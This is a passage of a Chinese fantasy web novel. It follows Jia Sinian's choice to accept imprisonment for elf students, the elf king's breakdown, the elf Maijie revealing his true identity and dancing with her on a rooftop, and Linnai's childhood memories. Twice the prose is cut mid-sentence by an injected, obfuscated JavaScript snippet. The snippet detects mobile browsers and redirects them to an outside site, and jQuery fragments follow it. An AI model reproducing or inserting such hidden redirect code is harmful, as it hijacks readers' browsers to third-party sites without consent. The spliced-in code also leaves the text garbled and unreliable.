贾思年尽力让自己看起来不疲惫,向林奈扯出一个微笑,“怎么了?他们没欺负你吧?” 林奈走进来,贾思年才发现他们之间还有一道玻璃墙,林奈趴在透明的玻璃上,看起来好像又要哭了,“没有……贾,你还好吗?” “感觉睡了好久啊。”贾思年回答。 “他们让你来看我吗?我还要被绑多久?” “其他人呢?那些精灵学生们呢?” 林奈低下头,过了一会儿,他把额头抵在玻璃上,“他们和我说那些学生犯了死罪。” “啊?就这么一点事……不是,这是不是也太……严苛了吧?” 贾思年惊得有点磕巴,但是她知道那些高高在上的精灵老爷们此刻一定躲在哪里看她的现场直播,急忙改口道,“不过这是人家的法律,我的意见不重要。” 贾思年看见泪水在林奈绿色的眼睛里打转,他一副欲言又止的样子。 “你怎么了?有什么话要说吗?” “他们……他们和我说,如果你说关于大门的话题是你主动提出的,那些学生们就可以无罪释放,但是你要在这里服刑。”贾思年看见林奈擦了擦眼睛。 “那如果我主动承认,我要坐多久的牢?” “现实世界是三个月。”林奈开始抽泣。 “……但你的感受会是……五十年……” 说完,林奈的身体顺着玻璃墙滑落,他蹲在地上,双手掩面而泣。 在虚无的黑暗里漂浮……五十年吗? 贾思年闭上了眼睛,虽然什么也看不见,但她能感觉到灯光透过她的眼皮,那是和服刑的黑暗完全不同的感受。她想到了里奥,那个每天上演青春疼痛文学的非主流少女,她又想到了林图,虽然她听了许多来自林图的天真又傲慢的问题,她也故意用些一本正经的胡说八道恶心了他,但她知道他本性并不坏…… 只是因为讨论了大门,就要判他们死刑吗? 又只是因为自己恰好路过,就也要被开枪打死吗? 老贾去世后很长一段时间,她都觉得自己不过是烂命一条,只是有人看她可怜,才让老贾做了她几年爷爷。 她假装无事发生一样去上课去考试,沿着老贾曾经给她铺好的路按部就班地往前走,可她不知道这样行尸走肉地活着到底有什么意义。 在这个世界上,她只有她自己和她的狗。 后来她的狗也死了。 她常常在夜里喝得烂醉,第二天清晨在院子里的杨树下瑟瑟发抖地醒来,然后亲吻着树下的泥土——那里埋葬着她的小狗。 她当然知道赏金猎人是空中走钢丝的工作,但这正是她想要的,所以她接别人不接的危险工作,她的佣金不断上涨、翻倍,可她其实没什么实感,她把用命赚来的钱扔进酒馆和赌场,然后每天清晨照常在院子里的树下醒来。 直到一个地下街区的街坊邻里找到了她,请求她帮忙把一个恶霸赶走。 这种委托她向来是不接的,尤其是委托金还是各种肉类、水果和鸡蛋。 可她还是莫名其妙地接下了这个委托,把那人和他的几个跟班捆成了粽子扔进了警察局。 那一架她吃了不少苦头,但是当她一瘸一拐地出门倒垃圾时,看到家门口时不时出现的熏肉和香料,她突然觉得自己的烂命是有意义的,她活着就是为了这些悄悄出现在门口的熏肉和香料。 后来她让老贾的修理铺重新开张了。 她慢慢不再把意义的重心放在别人身上,夏日夜晚清凉的海风、钟表店老板小孙女稚嫩的歌声,这些都让贾思年觉得活着好像也不赖,但她还是选择继续做赏金猎人,她不想承认,但她渴望被需要,哪怕这个人是只跟她有金钱关系的委托人。 是啊,她还有重要的事情要做。 有人还在沙漠里等着她。 她睁开眼睛,视线落在林奈颤抖的身体上。 也许这是唯一两全其美的解法。 “那你呢?你可以立刻回家去吗?” 贾思年看见林奈抬起头,茫然又悲伤地看着她,他的脸上全是鼻涕和眼泪。 林奈摇摇头,“他们并没有说我怎么办……” 贾思年希望此时她的手机可以在身边,这样就能拍下林奈鼻涕一把泪一把的照片回去嘲笑他,可惜她没什么方法能记录下来,就像她没法留下在黑暗里写的那些漂亮句子。 贾思年轻轻笑了一声,“别哭了林奈,三个月而已。” “你知道的,我是一个生意人,三个月的时间换二十多条命,这可是很划算的事。” 贾思年突然提高了音量,“我知道你一定躲在哪里想看我的笑话,你赢了,如你所愿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537546|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “但是我有条件,让林奈立刻回家去,放了那些学生,我会承认一切都是由我引起,我愿意接受惩罚。” 可怕的安静持续了短短几秒钟,贾思年身上的绑带突然松开了。 林奈面前的玻璃墙也突然升了起来,他蹲在地上重心不稳,差点向前扑倒,最后茫然无措地坐在了地上。 白墙上的自动门又一次打开了,希尔的面孔出现在了门外,他身后跟着一些穿着白袍的治安队员,贾思年坐了起来,一边活动身体一边问道: “怎么?难道还要换地方蹲号子吗?” 希尔走到她的身前,向她伸出了手,郑重地说:“恭喜你通过了国王陛下的考验。” “欢迎来到普罗菲塔。” 哈?请问这是在搞笑吗? 但贾思年只是轻哼了一声,抬眼看着希尔的手。 “这算什么?” 但她还是握上了那只手,她想到从祈愿山回来的车上,在梦里看到的那只棕色眼睛。 “你们不是都看到了吗?” “是的,事情的经过我们都看见了,您勇敢又善良,是普罗菲塔最尊贵的客人。” “但我们的旅途也该结束了,说实话,我现在很想念我在金港的家。” 贾思年站了起来,她还没太习惯脚踩在地上的感觉。 “您想去哪里都可以。” 贾思年自顾自地走到房间的角落,拉起坐在地上的林奈,她摸摸口袋,里面还有两张零散的纸巾。 她擦掉了林奈脸上的鼻涕和眼泪。 “请先送我们回半岛旅馆吧。” 她头也不回地对希尔说。 傲慢。 无礼。 一帮傻X! 贾思年觉得怒火中烧,但她已经懒得跟这里有任何牵扯。 她的委托人错了,大错特错,错得离谱。 也许这个世界上确实有所谓的神明,但他们却以万物为刍狗。 他们根本不配作人类的神。 能拯救维肯人的,从头到尾都只有维肯人自己。 …… 昏暗的宫殿里,希尔已经在王座前站了许久。 他能感觉到国王陛下的心情已经差到了极点,他并不明白,影岛来的女人明明通过了国王的测试,为什么陛下不仅不感到高兴,而且状态似乎更差了。 他想说点什么,又不敢提到那个女人,只好关心国王的身体状况。 “陛下,您多注意身体,按时补充能量。” “我好的很!” 突然传来奥科霍利凶狠的声音,他忽然起身踢倒了旁边的边几。桌上的水晶杯子被打翻在地,闪着蓝光的液体在地上流淌。 他忽然冲到希尔面前,蓝色的眼睛里好像燃起了妖异的怒火。 “她为什么会通过测试?她为什么会通过!” 希尔吓了一跳。 他跟了国王这么多年,深觉陛下一向是最智慧最温和的,他不仅是希尔的上司,国家的领导者,更是希尔从小到大的偶像。 希尔第一次看见他最敬爱的国王这个样子,他惊得说不出话来。 国王又忽然抓起倒翻在地的边几,朝着身后的玻璃墙重重砸去。 玻璃墙瞬间产生了无数的裂纹,科斯特杰的美丽夜景被碎裂的玻璃裁成小块,让希尔感到一切都不真实。国王拖着身躯走向他的王座,希尔看不见他的脸,但觉得他好像在哭。 “她为什么会这样选?” “他为什么会这样选?” “该死的老鼠,我恨不得把她的心挖出来看,看看她到底是怎么想的……” “哥哥到底是怎么想的……” 他跪坐在地上,上半身趴在他的王座上,希尔看着他颤抖的身躯,突然意识到他的国王已经活了几千年了。 几千年来,他同时失去了至亲兄弟,他没有家人,没有后代,他身边的拥护者来了又走,最后只留他自己在这个空荡荡的宫殿里。 这是怎样的孤独? 希尔不敢想象。 希尔第一次在他的国王身上看见了苍老,他的身体,他的心,其实早就衰败枯萎了。 霍塔加·奥科霍利一直以来靠着精源维持的华丽表象在希尔心中轰然破碎,就像眼前碎裂的玻璃墙。 “您累了,我叫医生来。” 希尔不忍再看,转身离开了空旷寂寥的宫殿。 18. 沼泽里的国家(十三) “拉维终于见到了拉斐特,他伏在祂脚边: ‘请让我追随您。’” ——《欧莱经书:起源》 贾思年在半岛旅馆的床上醒来。 光线昏暗,她分不清现在是清晨还是傍晚。 自从在精灵的监狱里醒来之后,贾思年的时间感异常混乱,她从床上爬起来看了一眼墙上的钟,六点。 她拉开窗帘,看见外面车水马龙的科斯特杰。 啧,竟然睡了这么久。 贾思年走到卧室,看着林奈安静得反常的睡脸,不禁有些担忧。 林奈自从昨晚回来便一句话都不说,饭也很少吃,到了夜里也不睡,瞪着眼睛坐在床的一角蜷缩起来。 安慰的话在贾思年嘴里翻来覆去被说烂,林奈依旧无动于衷,于是贾思年只好陪着他在黑暗中坐到了凌晨,直到看着他迷迷糊糊地躺倒才放心回去睡觉。 贾思年很担心,林奈的记忆尚未恢复,又受到了很大打击,她想立刻带他回金港看医生。但依他的状态,好像一时半刻也走不了。 看给孩子吓成什么样了!天杀的治安队! 贾思年小发雷霆后叹了口气,那就让他继续睡吧。 她穿好衣服,拿起茶几上的《世界简史》,离开了房间。 贾思年来到旅馆的前台,刚要开口问查克的联系方式,前台的精灵小姐就对她说道: “贾女士吗?维尔塔宁先生在橙区的天台等您。” 天台? 他不是生病了吗? 贾思年抱着书本进入了电梯,看着上面的数字一点一点变成了200,电梯门打开,她走了出去。 橙区的天台上只能看见一些通风井和太阳能板,贾思年向四周环视寻找着查克的身影,天台上空无一人。 贾思年有点紧张,她贴着墙壁快速转到电梯的后面,看见查克一个人坐在不远处的电梯井上,她松了一口气。 “维尔塔宁先生!” 贾思年冲他挥了挥手,向他走去。他也向她挥手,但丝毫没有下来的意思,贾思年不知道他葫芦里卖的什么药,她只好把书放在了地上,顺着梯子爬了上去。 查克并没有穿他那件洗旧了的斗篷,他身上只有一件单薄的衬衫,扣子才系到了胸口。棕色的头发被风吹得凌乱,额前的头发下面,是双疲惫的眼睛。 “您昨天不是说身体不舒服,怎么……” 贾思年刚一开口,就注意到了地上横七竖八的空罐子和浓浓的酒气。 “嗯?” 你小子请病假躲起来喝酒是吧? 贾思年觉得眼前的精灵看起来和她认识的查克没什么不一样,但是似乎又很不一样,少了一点查克特有的……让所有人感到尴尬的拘束。 查克没有回答她的问题,只是递给她一罐啤酒。 贾思年抬了抬眉毛,这又是唱的哪一出?但她还是接过易拉罐在他身边坐了下来。 她拉开拉环,听到泡沫膨胀发出好听的声音。 “你怎么了?” 贾思年说着在他旁边立着的易拉罐上轻轻碰了一下。 “干杯。” 微苦的小麦的味道,回甘有松柏的香气。 贾思年本来不喜欢啤酒,她更喜欢喝甜的,但也觉得精灵出品的质量确实很高。 “这个很好喝诶!” 她举起来看了看罐子上的标签。 “可惜回去就买不到了。” “你喜欢就好。”查克终于说了句话。 “你不会只是要找我喝酒吧?” 贾思年望向开阔的远方,初秋的晚上,天刚擦黑,她眯起眼睛,凉风在她脸上抚过。 “维尔塔宁先生?”她转头看向查克。 “我的名字是麦杰斯缇克·涅米宁。” 贾思年睁大了眼睛,一时不知道说点什么好。 “叫我麦杰就可以。” 麦杰拿起她碰过杯的易拉罐一饮而尽。 “我想我们可能需要重新认识一下。” 贾思年看着躺在地上的袋子里未开封的易拉罐,冲着他眨眨眼睛。 “没关系,啤酒还有很多。” “精灵的姓氏几乎都与自然有关,比如涅米宁这个姓氏,在精灵古语里的意思是半岛。” 麦杰顿了顿,“我是半岛集团的下一任继承者,半岛旅馆就是我们家族的产业。” “这么大集团的继承人出来当导游吗?” 贾思年托着下巴,饶有兴味地看着他。 麦杰有点狼狈地笑笑,“不知道为什么,世代经商的家族好像都有一个从政的梦想,但是在政府工作需要有精神系的精灵之力,这是可遇不可求的。” “直到我这代——” 我的名字是麦杰斯缇克·涅米宁。 自我有记忆起,我就跟母亲住在马提拉的乡下,我有至少二十个兄弟姐妹,他们都有不同的母亲,我们之间很少碰面,我甚至记不全他们的名字。 至于我的父亲,我见他的次数和见兄弟姐妹们的次数一样多,只有在每年父亲的生日聚会上,我才能远远地看他一眼。 我知道我有一些兄弟姐妹跟父亲一起住在科斯特杰,那是因为父亲喜欢他们的母亲。显然父亲不怎么喜欢我的母亲,我曾经问过她,为什么父亲不喜欢她还要和她生下孩子,她与我说了一些当时很让我费解的话。 她告诉我,父亲会喜欢她的,因为父亲一定会喜欢我。 我不明白父亲为什么会喜欢我,他在聚会上从没正眼看过我,我猜他根本不记得有我这个儿子。但是母亲的话还是应验了,在我进入圣科托姆读书之后,母亲就被接到了科斯特杰,住在那些巨大的怪房子里。 我的东西也被一并搬了过去。 每到假期,我就回到母亲身边,然后和父亲一起参加各种聚会。父亲每次都非常高兴地把我介绍给各种各样的陌生人,但我不喜欢他们,因为他们虽然看起来亲切友好,但内里却十分看不起我和我的父亲,他们以为自已藏得很好,但在我眼里却是漏洞百出。 在聚会上我也依然能看到我的哥哥姐姐们,他们对我的讨厌就更明显了。 因为自从我和母亲搬到了科斯特杰,在众多的孩子中,父亲几乎就只见我一个。 圣科托姆的课程很简单,那些浅显的道理和方法我好像天生就知道,但是很快我就想起是母亲曾经教过我。显然过去的我并不知道那些知识的用途,也不理解为什么别的孩子在乡间玩耍的时候我要在家里听母亲的教导。进入学校之后我才知道,能到圣科托姆读书的学生几乎都跟我一样,他们早就完成了学校的课程,来这里不过是他们一生中必经的流程罢了。 对于他们来说,在社团中结识朋友,在各种活动中社交,才是来圣科托姆读书的真正目的。 但是我不喜欢社团,父亲安排的聚会早就让我对社交厌倦。 完成了学校的任务,我就去图书馆看书。我喜欢历史,喜欢看与精灵或者人类有关的故事,但不管是父亲还是母亲都不同意我选择历史作为我的专业,所以最后我读了政治,辅修精神系。 父亲说我将来是要去政府工作的。 我也会变成那些出现在父亲聚会上的光鲜亮丽的大人物。 我不喜欢那些精灵,但是父亲很喜欢。母亲告诉我,我喜不喜欢不重要,重要的是讨父亲的喜欢,可我只想讨母亲的喜欢,所以母亲说什么我便做什么。 母亲让我努力学习,我便全科第一从政治系毕业,母亲让我在父亲的聚会上社交,我便次次努力成为聚会上的焦点。 洞察其他精灵的心思,对我来说实在太简单了。 即便他们试图封闭起了自己的大脑,在我看来,窥探也像捅破一张纸巾一样简单。 精灵们只想听到自己相信的东西,我便只说他们认同的;任何细小的情绪都能迅速被我发现,然后在恰到好处的时机给予恰到好处的关心,这对我来说也不过是举手之劳。 所以就算看不起我,精灵们也一定喜欢和我相处,我早就发现这两点其实并不矛盾。 没有我这样的精灵衬托,又怎么能显得他们更高贵呢? 但是父亲要我与他们交朋友,这是不可能的。 不是我不愿意,而是他们根本不是来交朋友的,他们只需要父亲的钱。 父亲本身就是保守党坚定的支持者,涅米宁家出钱帮助他们竞选,他们制定对涅米宁家有利的规则,就是这么简单一回事。简单的事情里就不应该掺杂复杂的感情,而朋友这种关系对于他们来说,实在是太复杂了。 直到有一天,我在聚会上见到了希尔·奥科霍利,他是国王陛下的远亲,政界的新星,殿前的红人。我看他一出现就是社交的中心,听着他礼貌又温和地跟所有人交谈,时不时引得周围的显贵开怀大笑——但我知道他是怎么想的,他和我一样。 我故意跟在他身后走进洗手间,在他旁边装作若无其事地边洗手边闲聊。 “真是无聊的应酬,是吧?” 他突然戒备地看向我,我听见了他心里的声音,但我当然要礼貌地微笑。 “我不是毛头小子,我是麦杰斯缇克·涅米宁。” 希尔也笑了笑,但他恐怕就没那么礼貌了,他关上水龙头望着我,我从没见过他脸上出现过这样的表情。 尖锐、玩味,还有一丝敌意。 他的意识在我脑中逐渐变得模糊了起来,但我知道他不讨厌我。 “我不会说出去的,我只想跟您交个朋友。” 我向他递过水槽边上盘子里擦手的方巾。 他接过了那块方巾。 后来我就成为了希尔·奥科霍利的副官。 我父亲知道这件事后高兴坏了,我就顺理成章地成为了涅米宁家的继承人。我母亲显然也很高兴,然后她就高兴地计划离开涅米宁在科斯特杰的家了。 这个消息对我来说简直五雷轰顶,但母亲却轻描淡写地对我说,“如果我不主动离开,你父亲不会让我活着的。” 后来我再也没见过她,只有每年在我的生日才能收到她的信件,信上说她从父亲那拿了一大笔钱,她现在过得很好,她很感激我们母子一场。 我知道她是真心实意地感激,我也知道她从没真正爱过我,无论我怎么努力讨她的欢心,在她眼里,我始终都是她和父亲交易的筹码。 那段日子十分灰暗,为了逃避现实,我把全部的精力都投入到了工作当中。我那时也确实幻想自己能做些事,帮助精灵们过上更好的生活。 希尔对我很照顾,他教了我许多,保守党的大部分官员都拥护他。然而跟着希尔辗转于各种会议和论坛之后,我发现那些会议上的精灵们嘴上是主义,心里却全是生意。而希尔显然早就知道,但是他根本不在乎,只要这些精灵对他有利,他不介意他们从各种提案里赚了多少,他的目标只有一个。 国王陛下没有后代,而他是国王陛下的远亲,奥科霍利家最有才干的精灵。 他的目标就是整个普罗菲塔。 如果你像我一样可以看到别人的想法,你就会发现这个世界有多虚伪。精灵们一天百分之七十的时间都在说谎,父母的爱是有条件的,拥护者们是有利可图的,对民众的承诺是虚无缥缈的,只有利益才是永恒的。 如果你看不到其他精灵的想法,那我也可以教你一个方法,那就是永远不要听他们说了什么,而要看他们究竟做了什么。 语言是那些演讲者自鸣得意的武器,也是颠倒是非黑白的工具,只有行为才能反应他们的内心。 英明如霍塔加·奥科霍利,让普罗菲塔运转的方式同样令人发指,虽然我早就怀疑那些广泛传布的颂扬不过是他精心打造的表象,但真正参观了地底中心后,我才发现,他内里其实就是个彻头彻尾的疯子。 所以我喜欢看书,因为我看不到书里的角色的想法。我更喜欢看历史,无论是精灵还是人类,他们都曾经鲜明地活过,我喜欢从一些细枝末节的描述里探索他们真实的想法,那感觉比他们的全部想法直接暴露在我面前要好太多,也比和现实世界的精灵们交谈要好太多。 “直到我遇见了你,贾。” 麦杰看着贾思年,棕色的眼睛闪烁。 “你第一天来,我就一直跟在你们身后,我的任务就是打探你的想法。” “可你的大脑好像深不见底的山谷,当我试图窥视你的想法时,却只能看到自己也在被深渊凝视。” “你就像那些书里的角色,当我试图理解你时,只会反过来更加深刻地反省自己。” “而林奈先生,他就像个孩子,我知道这有他失忆的缘故,但是他对精灵的抱歉是真实的;他对精灵查克的关心是真实的;想要帮助诗社的学生们也是真实的。” “精灵们总是自视甚高,他们觉得自己高尚、智慧,站在世界的顶端,他们宁愿把自己封闭起来,假装听不见外面的声音,站在自己的偏见里顾影自怜,可我只看见了他们的冷漠和傲慢。” “而你,我看见你爬下祈愿山的洞穴去救里奥,她与你不过萍水相逢,你却几次三番救下了她;你愿意为了那些素不相识的学生忍受五十年的孤独;还有你来到这里的原因,贾,我在从祈愿山回来的车上都看见了。” “原来是你。” 贾思年没想到自己说出这句话时会如此的平静,她不是没怀疑过他,但真正得到肯定的答案时,只是觉得心情复杂。 她不希望是他,但又很庆幸是他。 “没错,是我,我很庆幸我能看到这些。” 麦杰看着贾思年的眼睛。 “贾,你善良又勇敢,你和虚伪的精灵不一样。” 你才是真正高尚的人。 贾思年笑了,别过头去,微凉的空气迅速灌满了她的肺,又缓缓地散了出去,一直保持高强度的专注早已让她疲惫不堪,那些被刻意构建的高墙瞬间消失,记忆仿佛成卷的胶片,肆意飘散在她身边,贾思年就这样毫无保留地坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537547|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麦杰身边。 “别太抬举我了,你知道我是做什么的,这不过是我的生意而已。” 她转过头来看着麦杰,她以前从没注意过这个一直战战兢兢的精灵其实有张英俊硬朗的面孔。 “现在你可以看见我的全部了。” “不,我不会去看的。” 麦杰转过头去,直视着眼前深蓝色的天空。 “就让我一直活在幻想里吧。” 贾思年歪过头,露出狡猾的微笑。 “也别太爱我了。” 麦杰没有看她,他又打开一罐啤酒。 “有些东西我觉得你应该看看。” 他把易拉罐凑近嘴边喝了一口。 “我听说你们要走了,再留一段时间吧,三天后就是丰收节。” “你让我留下过节?”贾思年挑了挑眉毛。 “丰收节的夜里,地底中心会撤掉大部分的守卫,你可以趁那时候潜进去看看。” “地底中心?” “对,就在蓝区的地下,那里也许有你想要的东西,带上里奥,她对你有用。” “里奥可还是个孩子。”贾思年盯着他。 “她可不止是个孩子,别深究了,我不想让自己看起来像我讨厌的样子。” 麦杰低下头,把自己的脸埋在了阴影里。 “如果你执意的话,那好吧。” 贾思年站起身来,看着麦杰的头顶,忽然说道:“精灵也用移动电话对吧?” 麦杰抬起头来看着她,有点发愣。 “用的,怎么突然问这个?” “能放点音乐吗?随便什么,节奏欢快一点的。” “可以是可以,但是我不明白……”麦杰说着掏出了一只像笔一样的东西,在它发出的蓝色投影里播放了一首舞曲。 “红色的月亮挂在天上,手里是温热的酒和汤” “女孩的裙摆上扬,银色的首饰叮当作响” “叮叮当当,叮叮当当” 贾思年的身体随着节拍轻轻地晃动,她没听过这首歌,但是她喜欢它,她回头看着坐在地上的麦杰。 “你想跳舞吗?” “……什么?” 贾向他伸出手去,“来吧,我们去下面。” 她想哄他开心,但是麦杰犹豫了,他有些迷茫地握住了她的手,随后被一把拉了起来 “来吧。”说着贾思年从电梯井直接跳到了天台上。 “有人在忏悔,有人在尖叫” “有人在枯萎,有人在咆哮” 麦杰从梯子爬了下去,天已经完全黑了,在城市的灯光里,他看见贾思年站在不远处,她在微笑,她向他伸出手去。 “如果你想哭,别吝啬你的泪水” “如果你想跳舞,我在等你跟随” “请拉着我的手” 麦杰的眉眼间流过一丝悲伤,这是他从来不曾向别人展露过的情绪,他拉住了贾思年的手。 麦杰从来没在聚会上见过贾思年这样恣意跳舞的人,他觉得那些熟烂于心的刻板动作在此刻完全不合时宜,他就跟着她的步子挪动自己的手脚。 贾思年的手臂在空中划过,麦杰在她的指尖看到了记忆像飘带飞扬,指尖滑落,那只手发出珍珠般的光泽,那个名叫安娜的女孩穿着红裙子在台上跳舞,身上的饰品发出清脆的响声。 “叮叮当当,叮叮当当” “我就在这里,你可以短暂地忘记悲伤” 贾思年的双手举起又放下,她的躯体随着音乐扭动,然后转了个圈,像银河一样闪亮的回忆跟在她的身后,好像深夜的盘山公路上,飞驰的车辆留下尾灯的残影。 麦杰在她转身的瞬间,看见她坐在书房的窗前看书,清凉的海风吹起她的头发,她转头望向窗外,天上有海鸥飞过。 贾思年转了回来,画面又切到了修理铺的地下室,在各种古怪的机器中间,她戴着护目镜,手里的焊枪激起火花四溅,落在科斯特杰的星空上。 “请拉着我的手” “那些话请不要再说” “请拉住我的手” 贾思年拉住麦杰的手。 麦杰看着她黑色的眼睛,他看见她趴在高大的杨树下亲吻泥土,然后他在泥土中看见了另一双眼睛,它们在流泪,那个叫安娜的女孩跪在了地板上。 麦杰被贾思年拉着一起旋转,酒精让他有些眩晕,在那些旋转的光影中,麦杰恍惚看到了贾思年的小狗在围着他们转圈,然后年幼的她抱起小狗去追逐老贾的背影,那些影像在旋转中极速地离他远去,最后变成治安队的白色制服一闪而过。 世界只剩一片漆黑,他看见她在无尽的黑暗中承受的恐惧和孤独,和周围的夜色融为一体。 但是贾思年在旋转,她就在麦杰的眼前,她笑得很开心。 “你会为我哭泣,但你还会来到这里” “我们于此相聚,而我从没离去” “我是你心中的火” 贾思年扬起头,她松开麦杰的手,随着音乐跳跃,记忆穿过她微微卷曲的短发,麦杰看见她在一个小院子里蹦跳着扬起头,眼前是一个留着海藻般长发的女人在跳舞,那是她的妈妈,女人姣好的身体和从容的舞步逐渐和贾思年的身影融合,凉风带来贾思年头发上洗发水留下的香味。 麦杰忽然想起小时候母亲骑车带他经过青郁的农田,母亲的长发随风飘散,他坐在后座上,也能闻到母亲头发里好闻的香味。 麦杰笑了。 “我是你心中的火” 贾思年停下了脚步,空气中的记忆瞬间收束,她的身上又重新筑起了铜墙铁壁,黑色的眼睛又变得深不见底。 “好听!我喜欢这首歌!谢谢你。”贾思年的喘息轻微急促。 “应该是我谢谢你……我很开心。” “这样就对了!打起精神来!”贾思年露出灿烂的笑,冲着麦杰竖起了大拇指。 “不过林奈差不多该醒了,我得回去了。” “对了,之前从圣科托姆借来的书还需要你帮忙还回去。” 她指着梯子旁边的两本书,好像突然想到了什么重要的事情。 “等一下,你说你姓涅米宁?” 麦杰转过头看着她,“怎么了?” “那书上的笔记是你写的吧?” “果然被你发现了,说实话,你借这本书时我还以为你已经察觉了什么。” “都是巧合罢了。” 贾思年向他摆了摆手,“那就明天再见!” 明天再见。 麦杰又一次爬上通风井,捡起地上没喝完的易拉罐,他对着星空举杯,又把放到嘴边的啤酒放下了,他看着地上贾思年喝空的易拉罐发呆。 脑袋里不断回响的那首《红色的月亮》,还在天台上跟着那个女孩一起跳舞。 忽然一阵凉风吹过。 麦杰的梦醒了,他突然觉得自己该回去了。 是时候回到现实了。 19. 沼泽里的国家(十四) 林奈在半岛旅馆的床上醒来。 光线昏暗,他分不清现在是清晨还是傍晚,他起身走到了客厅,发现贾思年不在。 又敲了敲卫生间的门,没人回应。 他拉开卫生间的门,空无一人。 贾不在,她去哪了? 她不会又被抓走了吧? 林奈靠着洗手间的门蹲下,他逐渐感到害怕,屋子里非常安静,林奈能听见自己的心跳逐渐加快,然后他看到自己的膝盖被水滴打湿了。 林奈摸了摸自己的脸,发现了自己脸上的泪水,为什么要流泪? 贾不会有事的,他们最多把她抓去坐几个月牢,他们也从没说要把他怎么样…… 但是为什么泪水会止不住地流下? 他突然想起了什么,好像很久很久以前,自己也这样坐在地上。 那是一间卧室,他坐在地上,看着黯淡的光线从小窗照进来,屋子很空旷,因为他们的东西都被妈妈打包搬走了,虽然他们本来也没有多少物件,但是林奈还是对这种陌生的空旷突然感到害怕。 妈妈让他在这等她,妈妈会来接他的。 妈妈不会不要我了吧? 林奈突然哭了起来,他抱紧自己,抓到了自己身上酒店毛绒的浴衣,他想起了那个有鲁米肯特熊的噩梦。 是的,他精通剑术,应该找一把短剑才对,贾思年不在了,他得学会保护自己。 他爬到沙发前,在贾思年的背包里翻找,没有短剑,但是果然找到了一把匕首,他抱着匕首又回到了洗手间和房门的夹角坐下,这里让他觉得有安全感。 妈妈后来回来接我了吗? 林奈突然想知道。 应该……回来了吧? 林奈的脑袋里突然一闪而过那双跟自己几乎一模一样的绿色眼睛。 没错,那个女人是妈妈,他觉得自己莫名的坚定,他突然觉得非常高兴,他想起来了,那是他的妈妈,是妈妈教他读书写字,是妈妈要他去学习剑术。 可是她去哪了? 林奈不知道她在哪里,也不记得她的名字,他忽然觉得十分悲伤,这么重要的人居然被他遗忘了,他觉得贾思年也许可以帮忙找到他的母亲,但是现在贾也不见了。 林奈把头埋在了膝盖上,怀里的匕首仿佛还残存着贾思年的气息,他抓了抓柔软的浴衣,打算就这样等着她回来,如果她不回来了,自己就这样死了似乎也不赖。 忽然的放松让林奈觉得疲惫不堪,他缓缓合上了眼睛。 …… 那天林奈醒得很早,睁眼看见妈妈已经在梳洗。 她知道林奈醒了,“快起来,今天要带你去拜师学习剑术。” 林奈不知道为什么要学剑术,他也没见过人用剑,他只在书本上读到过。 比起学剑,他更想学弹钢琴,他以前经常趁妈妈出去做工时偷偷坐在教堂下一层的台阶上听唱诗班的人合唱,他们之中会有一个人坐在最前面弹一架老旧的钢琴。 林奈喜欢钢琴的声音,他也觉得坐在前面弹琴很威风,他曾经在清晨偷偷溜出去摸过那架钢琴,把手指按在黑白的琴键上,琴身发出悦耳的声响,但他发现自己弹不出什么曲调,他希望妈妈可以带他去学弹琴。 “我想学弹钢琴。”林奈鼓足了勇气说道。 “恐怕不行宝贝,你必须去学剑术,而我们没有多余的钱去学弹钢琴了。”母亲对着镜子,一边从盒子里拿出朴素的银质耳钉戴上,一边敷衍他道。 小小的人儿叹了口气,林奈就知道会是这样,这个理由他实在听了太多遍,多到他开始懊悔自己为什么要开口问。 虽然他早就习惯了被拒绝,他还是觉得不高兴,因为自从他们搬到这间屋子,林奈再也没听过唱诗班的钢琴了。 林奈穿好衣服,刚一推门就感到浑身被冷气包围了,他急忙退了回来。“你穿得太少了,今天发布了通知说热气减半,现在外面很冷。”妈妈递给他一件红色的毛衣。 从记事起,林奈在每年的冬天都会穿上这件毛衣,并不是他一直没有长高,而是每当这衣服在林奈身上显得局促了,妈妈就会把它拆掉,再掺进新的红色毛线重新织一件大一些的,但毛线的颜色不是总能完全一样,所以这件毛衣的红色看起来深浅不一,这让林奈觉得有一点难看。 但是通过观察附近住着的其他人,他发现至少他的衣服上没有颜色突兀的奇怪补丁,他又觉得这件衣服看起来还不错了。 他在宽大的衬衫外面套上了这件毛衣,他走过墙面微微发霉的走廊。走廊的尽头是洗手间,一个胡子拉碴的高大男人在粗暴又潦草地洗脸,林奈拿着毛巾和牙具走过来,那男人转过身冲他笑了笑,然后用一条已经看不出形状的毛巾抹了两下脸。 林奈见过他,他经常穿一身脏兮兮的牛仔服,背着一个装满工具和奇怪机器的单肩包出门去,但林奈没跟他说过话,因为他看起来有点吓人,尤其是他每次都会冲着林奈笑一下,薄薄的嘴唇弯起弧度,就会扯着他胡子里的伤疤也开始扭曲变形,看起来好像长了两张嘴。 但是林奈并不讨厌他,相反的是,林奈对他背包里的工具很好奇,他从来没见过那些,以前在教堂里,他只见过锤子和扳手这些简单的工具,而他的机器们形态各异,看起来就是厉害的玩意儿。 “早上好,先生。” 林奈说完就有点后悔了,他没怎么和陌生人说过话,他希望男人洗完了就赶紧离开,不想对方却蹲了下来。 “早上好小鬼,我们好像经常见面,你叫什么名字?” “林奈。” 林奈尽量控制自己不去看男人脸上的伤疤,他觉得那是不礼貌的。 “我是法比奥,就住在104房间。”说着男人站了起来,用粗大的手摸了摸林奈的头,转身离开了。 